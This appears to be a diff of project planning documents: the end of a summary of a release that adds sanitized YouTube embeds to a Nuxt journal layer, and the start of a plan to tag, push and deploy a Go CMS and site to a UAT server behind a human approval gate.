ref: "cmp ../vue-journal-layer/tests/fixtures/editor-corpus.json ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json (exit 0)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "expandEmbeds turns only the exact allowlisted placeholder into a youtube-nocookie iframe, last at the post and category sinks; a raw stored iframe is stripped before expansion"
|
||||
requirement: "D-17"
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../vue-journal-layer/tests/embeds.test.ts (npm test: 136 pass, 0 fail)"
|
||||
status: pass
|
||||
- kind: integration
|
||||
ref: "node testing/smoke-ssr.mjs against the built playground: smoke-ssr: ok (29 checks), including 200 /blog/hello-acme contains=https://www.youtube-nocookie.com/embed/dQw4w9WgXcQ"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "vue-journal-layer v0.2.0 is an annotated tag on origin and installs anonymously; the scratch lockfile pins the tag commit and the acme SSR expectations pass"
|
||||
requirement: "D-17"
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "bash ../vue-journal-layer/scripts/check-git-install.sh v0.2.0 -> check-git-install: ok v0.2.0 759e684e862bd8a2f34e2bbcdf258f66aeddad4f"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "vue-grzybyfunkcjonalne-app main pins #v0.2.0, its lockfile resolves to 759e684e, it builds, its unit and SSR tests pass, and main equals origin/main"
|
||||
requirement: "D-17"
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "Task 3 app verify command -> # pass 26, # fail 0, app-pin-ok; pnpm run smoke:ssr -> smoke-ssr: ok (37 checks)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D5
|
||||
description: "A Blog Editor YouTube embed plays on the deployed grzybyfunkcjonalne.pl UAT page"
|
||||
requirement: "D-17"
|
||||
verification: []
|
||||
human_judgment: true
|
||||
rationale: "The UAT deploy and the CSP frame-src https://www.youtube-nocookie.com addition belong to plan 05; a real browser on the deployed site is needed to confirm the frame loads"
|
||||
|
||||
duration: "about 50 min across two executor runs (Task 3 continuation 7 min)"
|
||||
completed: 2026-10-10
|
||||
status: complete
|
||||
---
|
||||
|
||||
# Phase 16.2 Plan 04: Journal Embeds in the Nuxt Layer Summary
|
||||
|
||||
**vue-journal-layer v0.2.0 keeps the Blog Editor's markup through its sanitize-html mirror (four rules matching the Go policy) and expands `<figure data-embed="youtube" data-id="…">` placeholders into youtube-nocookie iframes as the last step before v-html. The tag is published and installs anonymously, and vue-grzybyfunkcjonalne-app main pins it.**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** about 50 min over two executor runs. The first run covered Task 1, the release commit and the Task 2 checkpoint (layer commits at 10:19Z). This continuation ran Task 3 from 2026-10-10T11:01:53Z to about 11:08Z.
|
||||
- **Started:** about 2026-10-10T10:14Z, after plan 03 closed. The prior run did not record an exact start time.
|
||||
- **Completed:** 2026-10-10T11:10Z
|
||||
- **Tasks:** 3/3 (Task 1 tracer, Task 2 blocking-human decision, Task 3 release)
|
||||
- **Files modified:** 15 (13 in vue-journal-layer, 2 in vue-grzybyfunkcjonalne-app)
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- **Mirror (D-05 amended).** `htmlGate.ts` gained exactly the four editor-output rules that plan 03 added to the Go bluemonday policy: figure `data-embed` `^youtube$`, figure `data-id` `^[A-Za-z0-9_-]{11}$`, img `alt` free text and ol `start` INTEGER. Every entry of the byte-copied corpus is safe. The Policy section of decision note 0001 lists the four additions.
|
||||
- **Embeds (D-17).** `app/utils/embeds.ts` exports `EMBED_PLACEHOLDER`, `EMBED_PROVIDERS` (YouTube only) and `expandEmbeds`. The iframe src is the fixed host `https://www.youtube-nocookie.com/embed/` plus the validated id, and the iframe gets lazy loading, a strict-origin-when-cross-origin referrer policy and a restricted `allow` list.
|
||||
- **Order.** `JournalPostBody` and `JournalCategoryHeader` render `expandEmbeds(sanitizeJournalHtml(html))`. `toPostView` and `CategoryPage.vue` only sanitize. A raw iframe in stored HTML is stripped before expansion.
|
||||
- **SSR proof.** The acme fixture post `hello-acme` carries a placeholder, and the built playground renders the iframe for it.
|
||||
- **Release.** Annotated tag `v0.2.0` is on origin and `check-git-install.sh v0.2.0` passes.
|
||||
- **App pin.** The site app pins `#v0.2.0` on its pushed main, with a lockfile that resolves to the tag commit.
|
||||
|
||||
## Task Commits
|
||||
|
||||
| Task | Name | Repo | Commit |
|
||||
|---|---|---|---|
|
||||
| 1 | Tracer: a stored placeholder renders as a privacy-enhanced YouTube iframe | vue-journal-layer | `a6ee443` (feat) |
|
||||
| 2 | Approve pushing vue-journal-layer v0.2.0 and the site app pin (prep: release commit) | vue-journal-layer | `759e684` (chore: release v0.2.0) |
|
||||
| 3 | Push the layer tag, prove the git install, pin v0.2.0 in the site app | vue-grzybyfunkcjonalne-app | `465286a` (chore(deps)) |
|
||||
|
||||
Task 3 also created the annotated tag `v0.2.0` (tag object `042b65d072f276f7ee6f1d8bc6f66f518411161e`, peeled commit `759e684e862bd8a2f34e2bbcdf258f66aeddad4f`).
|
||||
|
||||
**Pushed heads:**
|
||||
- vue-journal-layer `main`: `294a8d8..759e684` (`759e684e862bd8a2f34e2bbcdf258f66aeddad4f`) and tag `v0.2.0`, pushed to git@git.golem15.com:golem15/vue-journal-layer.git.
|
||||
- vue-grzybyfunkcjonalne-app `main`: `ada03b2..465286a` (`465286a880f0aae6118c2915aa1475a5da353295`), pushed to git@git.golem15.com:golem15/vue-grzybyfunkcjonalne-app.git.
|
||||
|
||||
The summercms.go host gitlink and the sm-grzybyfunkcjonalne-app host gitlink were not touched. Plan 05 bumps them.
|
||||
|
||||
## Evidence
|
||||
|
||||
**Task 1 (tracer):**
|
||||
- `npm test`: 136 pass, 0 fail.
|
||||
- `pnpm install --frozen-lockfile` and `build:playground`: OK.
|
||||
- `smoke-ssr: ok (29 checks)`, including `200 /blog/hello-acme contains=https://www.youtube-nocookie.com/embed/dQw4w9WgXcQ`.
|
||||
- `cmp tests/fixtures/editor-corpus.json ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json`: exit 0.
|
||||
- Exactly four mirror rules were added: figure data-embed `^youtube$`, figure data-id `^[A-Za-z0-9_-]{11}$`, img alt FREE_TEXT, ol start INTEGER.
|
||||
|
||||
**Task 2 (checkpoint:decision, gate blocking-human):**
|
||||
- The verify command printed `push-precheck-ok`.
|
||||
- Release sheet:
|
||||
- Layer commits to push: `a6ee443` feat, `759e684` chore: release v0.2.0.
|
||||
- Tag `v0.2.0`, message "v0.2.0: Blog Editor markup kept by the sanitizer; Journal embed placeholders expand into privacy-enhanced YouTube iframes".
|
||||
- App change: pin `#v0.1.1` to `#v0.2.0`, plus the regenerated lockfile.
|
||||
- Rollback: a defect means v0.2.1, and the app pin can go back to `#v0.1.1`.
|
||||
- Human reply, verbatim: "push"
|
||||
|
||||
**Task 3 (release):**
|
||||
- Re-check before tagging: `git ls-remote --tags origin refs/tags/v0.2.0` was empty, the layer and app trees were clean, and neither was behind origin/main.
|
||||
- `git ls-remote --tags origin`: `042b65d0… refs/tags/v0.2.0` and `759e684e… refs/tags/v0.2.0^{}`.
|
||||
- `bash scripts/check-git-install.sh v0.2.0`: `smoke-ssr: ok (29 checks)`, then `check-git-install: ok v0.2.0 759e684e862bd8a2f34e2bbcdf258f66aeddad4f`.
|
||||
- App `pnpm install`: `- vue-journal-layer 0.1.0` / `+ vue-journal-layer 0.2.0`. The lockfile diff only touches the layer's specifier, version and resolution `commit: 759e684e862bd8a2f34e2bbcdf258f66aeddad4f`.
|
||||
- App verify (`grep pin && pnpm install --frozen-lockfile && pnpm build && pnpm test && HEAD == origin/main`): `# pass 26`, `# fail 0`, `app-pin-ok`.
|
||||
- App `pnpm run smoke:ssr` (extra check): `smoke-ssr: ok (37 checks)`.
|
||||
|
||||
## Files Created/Modified
|
||||
|
||||
- `../vue-journal-layer/app/utils/embeds.ts`: placeholder RegExp, provider allowlist and `expandEmbeds`.
|
||||
- `../vue-journal-layer/app/utils/htmlGate.ts`: figure and ol entries and the widened img alt rule.
|
||||
- `../vue-journal-layer/app/components/Journal/PostBody.vue` and `CategoryHeader.vue`: sanitize, then expand, then v-html.
|
||||
- `../vue-journal-layer/app/assets/css/journal-base.css`: `.journal-embed` frame at a 16 / 9 aspect ratio.
|
||||
- `../vue-journal-layer/tests/embeds.test.ts`, `tests/htmlGate.test.ts` and `tests/fixtures/editor-corpus.json`: transform, pipeline and mirror tests, plus the corpus copy.
|
||||
- `../vue-journal-layer/testing/fixtures/acme/posts.json` and `testing/expect-acme.txt`: the SSR fixture and its expectation.
|
||||
- `../vue-journal-layer/docs/decisions/0001-sanitize-html.md` and `README.md`: the Policy additions and the Embeds section.
|
||||
- `../vue-journal-layer/package.json`: version 0.2.0.
|
||||
- `../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json` and `pnpm-lock.yaml`: the `#v0.2.0` pin, resolving to 759e684e.
|
||||
|
||||
## Decisions Made
|
||||
|
||||
- The mirror has exactly four rules, matching the Go policy. The corpus needed no fifth rule.
|
||||
- Expansion happens only at the sinks and comes last, so the payload carries the placeholder and never an iframe.
|
||||
- The release is a separate commit, and the README install line moves with the version.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
**1. [Rule 2 - Correctness] README install line bumped with the version**
|
||||
- **Found during:** Task 2 (release prep, prior run)
|
||||
- **Issue:** The plan's release commit changes only the package.json version, but the README install snippet still pinned `#v0.1.0`. A consumer copying it would install an outdated layer.
|
||||
- **Fix:** The release commit also changes the README install line from `#v0.1.0` to `#v0.2.0`.
|
||||
- **Files modified:** ../vue-journal-layer/README.md
|
||||
- **Committed in:** `759e684` (chore: release v0.2.0)
|
||||
|
||||
**2. [Rule 3 - Blocking] check-git-install could not write the shared /tmp pnpm store**
|
||||
- **Found during:** Task 3
|
||||
- **Issue:** The script's scratch app lives under `$TMPDIR` (/tmp), where pnpm picks the store `/tmp/.pnpm-store/v11`. On this machine another local user (`jin`) owns that store, so `pnpm install` failed with `ERR_SQLITE_ERROR attempt to write a readonly database`. The tag was not the cause.
|
||||
- **Fix:** I re-ran the unchanged script with `TMPDIR` and `npm_config_store_dir`/`pnpm_config_store_dir` pointing into the session scratchpad. The script, the tag and the remote were not touched.
|
||||
- **Files modified:** none
|
||||
- **Verification:** `check-git-install: ok v0.2.0 759e684e862bd8a2f34e2bbcdf258f66aeddad4f`
|
||||
|
||||
---
|
||||
|
||||
**Total deviations:** 2 (1 correctness, 1 environment blocker).
|
||||
**Impact on plan:** No change to the shipped code. The tag was created and pushed exactly as planned, with no moved tag and no force-push.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- On this machine, `scripts/check-git-install.sh` fails under the default `/tmp` because the store there belongs to another user (see deviation 2). This is a machine-local environment issue, not a layer defect. Anyone re-running the script here should set `npm_config_store_dir`, or a `TMPDIR` whose pnpm store they own.
|
||||
|
||||
## User Setup Required
|
||||
|
||||
None. No external service configuration is required.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
- Plan 05 can bump the sm-grzybyfunkcjonalne-app host gitlink to app `465286a`. It also needs to add `frame-src https://www.youtube-nocookie.com` to the report-only CSP, then deploy to UAT.
|
||||
- The plan 06 phase gate can `cmp` the layer corpus copy against `../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json`.
|
||||
|
||||
---
|
||||
*Phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget*
|
||||
*Completed: 2026-10-10*
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
- FOUND: ../vue-journal-layer/app/utils/embeds.ts, tests/embeds.test.ts, tests/fixtures/editor-corpus.json
|
||||
- FOUND commits: a6ee443, 759e684 (vue-journal-layer), 465286a (vue-grzybyfunkcjonalne-app)
|
||||
- expandEmbeds count 0 in postView.ts and CategoryPage.vue; app pin #v0.2.0 present; corpus cmp exit 0
|
||||
@@ -0,0 +1,265 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 05
|
||||
type: execute
|
||||
wave: 3
|
||||
depends_on: ["16.2-01", "16.2-02", "16.2-03", "16.2-04"]
|
||||
files_modified:
|
||||
- ../sm-journal-plugin/go.mod
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app
|
||||
- ../sm-grzybyfunkcjonalne-app/README.md
|
||||
- ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf
|
||||
- ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh
|
||||
- ../sm-grzybyfunkcjonalne-app/DEPLOY.md
|
||||
autonomous: false
|
||||
requirements: [D-02, D-03, D-05, D-07, D-10, D-17, D-18, D-19]
|
||||
user_setup:
|
||||
- service: UAT admin (https://uat.grzybyfunkcjonalne.pl/gfadmin)
|
||||
why: "The executor holds no UAT basic-auth or admin credentials; a human re-saves imported posts untouched, edits a test post with the Blog Editor (including a save that must strip markup and report it) and checks the public page (D-03, D-05, D-10, D-17, D-18)"
|
||||
dashboard_config:
|
||||
- task: "Log in to the admin through the UAT basic-auth realm with an admin account that may publish"
|
||||
location: "browser, https://uat.grzybyfunkcjonalne.pl/gfadmin"
|
||||
estimate:
|
||||
tokens: 55000
|
||||
raw_tokens: 55000
|
||||
tasks: 3
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "Release (16.1 D-04 pattern): an annotated summercms tag (v0.1.18, or the next free v0.1.x if the concurrent session tagged first; v0.1.17 is the 16.1 security release) contains every plan 01 commit and is on origin; sm-journal-plugin main with plans 02 and 03 and a go.mod require of that tag is on origin; the host's plugins/golem15/journal and vue-grzybyfunkcjonalne-app gitlinks point at the pushed heads."
|
||||
- "Release: UAT runs a binary and Nuxt output built by scripts/build.sh from those heads; the server binary's sha256 equals the local build, both supervisor programs are RUNNING, the previous binary and Nuxt output are kept for rollback, and the on-server smoke ends with 'smoke: ok ('."
|
||||
- "D-03 and todo journal-imported-html-admin-resave on UAT: after a human saves post 64 (ekstrakt-z-turkey-tail: markdown content with the raw author footer; its content_html was re-rendered in 16.1 without the style block, whose CSS now lives in the app's base.css) and one HTML post without editing, md5(content), md5(content_html) and the md5 of their translation rows are unchanged; the read-only snapshot taken first records post 64's current state (whether content and content_html contain a style element) instead of assuming it."
|
||||
- "D-02, D-05 and D-18 on UAT: a test post edited in the Blog Editor with an uploaded image (alt and caption) and a YouTube embed stores content equal to content_html, containing data-embed=\"youtube\", a figcaption and an image URL under /storage/app/uploads/public/journal/posts/."
|
||||
- "D-10 on UAT (amended): a save of the test post after a style block and an onclick attribute were added in the source tab succeeds, the admin sees a notice naming the removed style element and onclick attribute, the editor reloads without them, and the stored content and content_html are equal and contain neither."
|
||||
- "D-17 on UAT: while the test post is published, its public page served on the server contains an iframe on https://www.youtube-nocookie.com/embed/."
|
||||
- "Release gate: the human chooses release-now or docker-first after seeing which Postgres suites could not run here and any open high finding of a code or security review."
|
||||
artifacts:
|
||||
- path: "../sm-journal-plugin/go.mod"
|
||||
provides: "nominal require of the release tag (the go.work replace to ../summercms.go stays)"
|
||||
contains: "git.golem15.com/golem15/summercms v0.1."
|
||||
key_links:
|
||||
- from: "../sm-grzybyfunkcjonalne-app/plugins/golem15/journal (gitlink)"
|
||||
to: "sm-journal-plugin origin/main"
|
||||
via: "submodule pointer bump committed and pushed in the host"
|
||||
pattern: "plugins/golem15/journal"
|
||||
- from: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app (gitlink)"
|
||||
to: "vue-grzybyfunkcjonalne-app origin/main pinning vue-journal-layer v0.2.0 (plan 04)"
|
||||
via: "submodule pointer bump committed and pushed in the host"
|
||||
pattern: "vue-grzybyfunkcjonalne-app"
|
||||
prohibitions:
|
||||
- statement: "The executor runs only SELECT queries on the UAT database; post data changes only through human admin saves."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The live Winter site, its vhost, php-fpm and the PHP database are not touched by the redeploy (Phase 16 D-10)."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The executor never requests, prints, stores or commits a credential (UAT basic auth, admin password, server .env)."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "No pushed tag is moved or deleted; a defect after the push gets the next tag."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
|
||||
|
||||
This plan's slice (user decision 3, plan 05; the 16.1-02 pattern): release the framework, the plugin and the site, redeploy UAT, and prove on the real imported data that untouched saves are byte-identical and that editing, uploads and embeds work.
|
||||
|
||||
## Revision 2026-10-10 (16.1 drift, CONTEXT D-10 amended)
|
||||
|
||||
16.1 closed after this plan was written. The release facts below are refreshed: v0.1.17 is taken, so this phase tags v0.1.18 or the next free tag; the plugin head is c60abc6; the layer is at v0.1.1. Posts 53 and 64 were re-saved on UAT, so post 64's content_html no longer has its style block, and the snapshot records its state read-only instead of assuming it. The UAT refusal step is replaced by a strip-and-report step (amended D-10). The public vhost now sends a report-only CSP, so the host commit also allows the youtube-nocookie frame.
|
||||
|
||||
Wave order: 01 and 02 (wave 1), 03 and 04 (wave 2; 04 needs plan 02's editor corpus), this plan (wave 3), 06 unit tests (wave 4). CLAUDE.md lean rule 3 keeps the unit-test plan last; as in 16.1 the release does not wait for it, and plan 06's tests ship with the next tag.
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
|
||||
|
||||
## Artifacts this phase produces (this plan)
|
||||
|
||||
- summercms annotated tag `v0.1.18` (or the next free `v0.1.x`) on origin.
|
||||
- sm-journal-plugin main on origin with `chore(deps): require summercms <tag>`.
|
||||
- sm-grzybyfunkcjonalne-app master on origin: journal and vue-grzybyfunkcjonalne-app gitlink bumps, the README admin note, and `frame-src https://www.youtube-nocookie.com` in the staging vhost's report-only CSP (with its check-deploy.sh needle and the DEPLOY.md line).
|
||||
- UAT: new binary and Nuxt output, `bin/grzybyfunkcjonalne.prev` and `build/nuxt/.output.prev` kept, both programs restarted.
|
||||
- Session values recorded in the SUMMARY: `RELEASE_TAG`, `RESTART_TS`, `HTML_POST`, `POST64_STATE`, the md5 snapshot before the human saves.
|
||||
|
||||
<objective>
|
||||
Release and redeploy (user decision 3): pass a human release gate, tag summercms, push the plugin and host bumps, build and deploy to uat.grzybyfunkcjonalne.pl per DEPLOY.md, smoke on the server, then accept D-02, D-03, D-05, D-10, D-17, D-18 and D-19 on UAT with human admin actions and read-only checks.
|
||||
|
||||
Purpose: the goal is to edit imported posts on UAT (CONTEXT Claude's Discretion: release recommended).
|
||||
Output: pushed tag and branches, a running UAT release, a passing on-server smoke and read-only proof of byte-identical untouched saves and working edits.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-PLAN.md
|
||||
@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-SUMMARY.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-04-SUMMARY.md
|
||||
@../sm-grzybyfunkcjonalne-app/DEPLOY.md
|
||||
|
||||
Server facts (DEPLOY.md "Server facts", 16.1-02-SUMMARY): ssh alias `grzybyfunkcjonalne-uat`, install root `/srv/grzybyfunkcjonalne`, programs `grzybyfunkcjonalne-go` and `grzybyfunkcjonalne-nuxt`, sudo only for nginx -t, nginx reload and supervisorctl, PostgreSQL reachable by peer psql as the deploy user (database `grzybyfunkcjonalne`), default content locale pl. The UAT realm answers 401 off-server, so every HTTP check runs on the server with curl resolving the host to 127.0.0.1. The host builds the framework from the `../summercms.go` working tree through a replace, so the framework version in the host is nominal; the host bumps are the two gitlinks. Commits: no co-author tags, stage by explicit path.
|
||||
|
||||
Release state at planning time (revised 2026-10-10, after 16.1 closed): summercms latest tag v0.1.17 (the 16.1 security release, tag commit c21fe36), so this phase's tag is v0.1.18 unless someone tags first; sm-journal-plugin pre-phase head c60abc6 (go.mod requires v0.1.17 with a replace to ../summercms.go); host sm-grzybyfunkcjonalne-app master 0b93ac2 with journal gitlink c60abc6 and vue-grzybyfunkcjonalne-app gitlink ada03b2; vue-journal-layer v0.1.1 (294a8d8, already ships sanitize-html) before plan 04, and the app pins #v0.1.1. UAT data: posts 53 and 64 were re-saved during 16.1; post 64's content_html no longer holds its style block (the footer CSS moved to the app's base.css, 2c46185).
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="checkpoint:decision" gate="blocking-human">
|
||||
<name>Task 1: Release gate: local checks green, tag chosen, UAT data split reported, a human approves the tag push and the UAT deploy</name>
|
||||
<read_first>../sm-grzybyfunkcjonalne-app/DEPLOY.md (Build and upload, Release, Smoke, Rollback), .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-SUMMARY.md (how the last release ran), the four 16.2 plan SUMMARYs (commit hashes per repository, the Postgres tests still to run), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md (Manual-Only), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-REVIEW.md and 16.2-SECURITY.md when present</read_first>
|
||||
<action>Do everything automatable and print a release sheet, then stop.
|
||||
|
||||
Concurrency: in summercms.go `git status --porcelain -- modules admin docs scripts` prints nothing, `git fetch origin --tags`, and `git log --oneline HEAD..origin/master` prints nothing; the same clean and not-behind checks for ../sm-journal-plugin (main) and ../sm-grzybyfunkcjonalne-app (master). If any origin has commits this checkout lacks, stop and report; do not merge or rebase on your own.
|
||||
|
||||
Tag: if `git tag --contains` on the first plan 01 commit lists a tag, propose reusing it and cutting none. Otherwise propose the highest of `git tag -l 'v0.1.*' --sort=-v:refname` plus one (v0.1.18 if nobody tagged after v0.1.17) and confirm with `git ls-remote --tags origin` that it does not exist yet.
|
||||
|
||||
Run the release gate (verify command). Then, read-only on UAT, report the D-07 split of the current data (assumption A1): ssh grzybyfunkcjonalne-uat psql -X -d grzybyfunkcjonalne -tAc with a SELECT counting golem15_journal_posts whose ltrim(content) starts with '<' (served as content) and those that do not (served as content_html).
|
||||
|
||||
Release sheet: the proposed or reused tag; commits to push per repository (summercms.go origin/master..HEAD including planning-doc commits, sm-journal-plugin origin/main..HEAD, the host's gitlink targets: sm-journal-plugin HEAD and the vue-grzybyfunkcjonalne-app commit plan 04 pushed); the UAT HTML/markdown split; the Postgres suites that cannot run here (modules/cabana testcontainers suites; the sm-journal-plugin root harness including TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML and TestCategoriesAdminContent; ./models); open high findings from 16.2-REVIEW.md or 16.2-SECURITY.md if those files exist (an open high finding means only docker-first or hold may be chosen, per security_block_on high); the deploy steps from DEPLOY.md "Release" plus keeping build/nuxt/.output.prev on the server; the rollback (move bin/grzybyfunkcjonalne.prev and build/nuxt/.output.prev back and restart both programs). Stop for the human.</action>
|
||||
<decision>Push summercms master and the proposed annotated tag, push the plugin and host bumps, and deploy to UAT now?</decision>
|
||||
<context>A pushed tag is read by other repositories' go.mod and the Go module proxy and publishes the pact field-type API (D-12, one-way); it cannot be moved, only superseded. The save-path code is covered here by DryRun and unit smoke tests only; the real-database proof is the UAT acceptance in Task 3, with the previous binary and Nuxt output kept for rollback. Plan 06 adds full unit coverage after the release (lean rule 3).</context>
|
||||
<options>
|
||||
<option id="release-now">
|
||||
<name>Release now with the proposed tag</name>
|
||||
<pros>UAT gets the Blog Editor immediately; Task 3 exercises the save path on the real imported data; rollback is two moves and a restart</pros>
|
||||
<cons>The Postgres suites run later, on a Docker host; a defect found then needs the next tag</cons>
|
||||
</option>
|
||||
<option id="docker-first">
|
||||
<name>Run the Docker-host suites first, then release</name>
|
||||
<pros>The testcontainers suites in summercms.go and sm-journal-plugin, including TestPostsAdminResaveKeepsHTML with exact bytes, run before the tag is pushed</pros>
|
||||
<cons>Needs a Docker-enabled machine and delays UAT</cons>
|
||||
</option>
|
||||
<option id="hold">
|
||||
<name>Hold the release</name>
|
||||
<pros>Nothing leaves this machine</pros>
|
||||
<cons>UAT keeps the markdown field, whose admin save renders content through goldmark and the 16.1 sanitizer</cons>
|
||||
</option>
|
||||
</options>
|
||||
<resume-signal>Reply "release vX" (release-now), "docker passed, release vX" (docker-first, after the human ran the suites), or "hold".</resume-signal>
|
||||
<verify>
|
||||
<automated>go vet ./... && go -C ../sm-journal-plugin vet ./... && go test -count=1 -run '^(TestFieldTypeTracerSmoke|TestFieldTypeExpansionSmoke|TestPhase09ContractInventory|TestPhase09PermissionMatrix|TestListRelationSearchSmoke|TestEnabledLocalesDefaultFirstSmoke)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 6 && go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/... && go test -count=1 ./cmd/summer -run TestDocsTree && npm --prefix admin test && bash scripts/check-admin-dist.sh && bash scripts/check-admin-openapi.sh --check && ../sm-journal-plugin/node_modules/.bin/vitest run --root ../sm-journal-plugin && bash ../sm-journal-plugin/scripts/check-dist.sh && echo release-gate-ok</automated>
|
||||
<fails_when>Non-zero exit or "release-gate-ok" absent: vet fails in either repository, fewer than six "--- PASS: Test" lines for the cabana smoke set, a journal classes or controllers test fails (including the editor-output policy cross-check and the removal report tests), TestDocsTree fails, a vitest suite fails (including the editor corpus test), or a dist or OpenAPI drift gate reports stale output.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- The gate printed release-gate-ok and the three repositories were clean and not behind origin.
|
||||
- The SUMMARY records the release sheet (tag, commits per repository, UAT split counts, suites not run, review findings) and the human's reply verbatim.
|
||||
</acceptance_criteria>
|
||||
<done>A human chose release-now or docker-first with a named tag, or hold (the plan stops).</done>
|
||||
</task>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 2: Tracer: tag, push, bump, build and deploy; the on-server smoke passes; snapshot the posts the human will re-save</name>
|
||||
<reversibility rating="one-way">A pushed annotated summercms tag publishes the pact field-type API to other repositories' go.mod and the Go module proxy; it can only be superseded.</reversibility>
|
||||
<precondition>Task 1 was answered "release vX" or "docker passed, release vX", RELEASE_TAG is set to that tag in the session, plan 04 pushed vue-grzybyfunkcjonalne-app main pinning v0.2.0, and `ssh grzybyfunkcjonalne-uat true` exits 0.</precondition>
|
||||
<files>../sm-journal-plugin/go.mod, ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app, ../sm-grzybyfunkcjonalne-app/README.md, ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf, ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh, ../sm-grzybyfunkcjonalne-app/DEPLOY.md</files>
|
||||
<read_first>../sm-grzybyfunkcjonalne-app/DEPLOY.md (Build and upload, Release, Smoke, Security headers), ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf (line 91: Content-Security-Policy-Report-Only), ../sm-grzybyfunkcjonalne-app/README.md (Admin section), ../sm-grzybyfunkcjonalne-app/scripts/build.sh, ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh, ../sm-grzybyfunkcjonalne-app/.gitmodules, ../sm-journal-plugin/go.mod, the Task 1 release sheet in this plan's SUMMARY</read_first>
|
||||
<action>Framework: unless Task 1 recorded an existing tag, re-run `git log --oneline HEAD..origin/master` (must print nothing), create the annotated tag on summercms.go master HEAD with git tag -a "$RELEASE_TAG" and the message "$RELEASE_TAG: plugin-registered admin form field types (pact.HasFormFieldTypes), save notices (meta.notices), field upload route, admin SPA plugin fields", then git push origin master and git push origin "$RELEASE_TAG".
|
||||
|
||||
sm-journal-plugin: go -C ../sm-journal-plugin mod edit -require=git.golem15.com/golem15/summercms@$RELEASE_TAG (the go.work replace stays, so the require is nominal); go -C ../sm-journal-plugin vet ./...; commit go.mod only as "chore(deps): require summercms $RELEASE_TAG"; git -C ../sm-journal-plugin push origin main (this publishes plans 02 and 03).
|
||||
|
||||
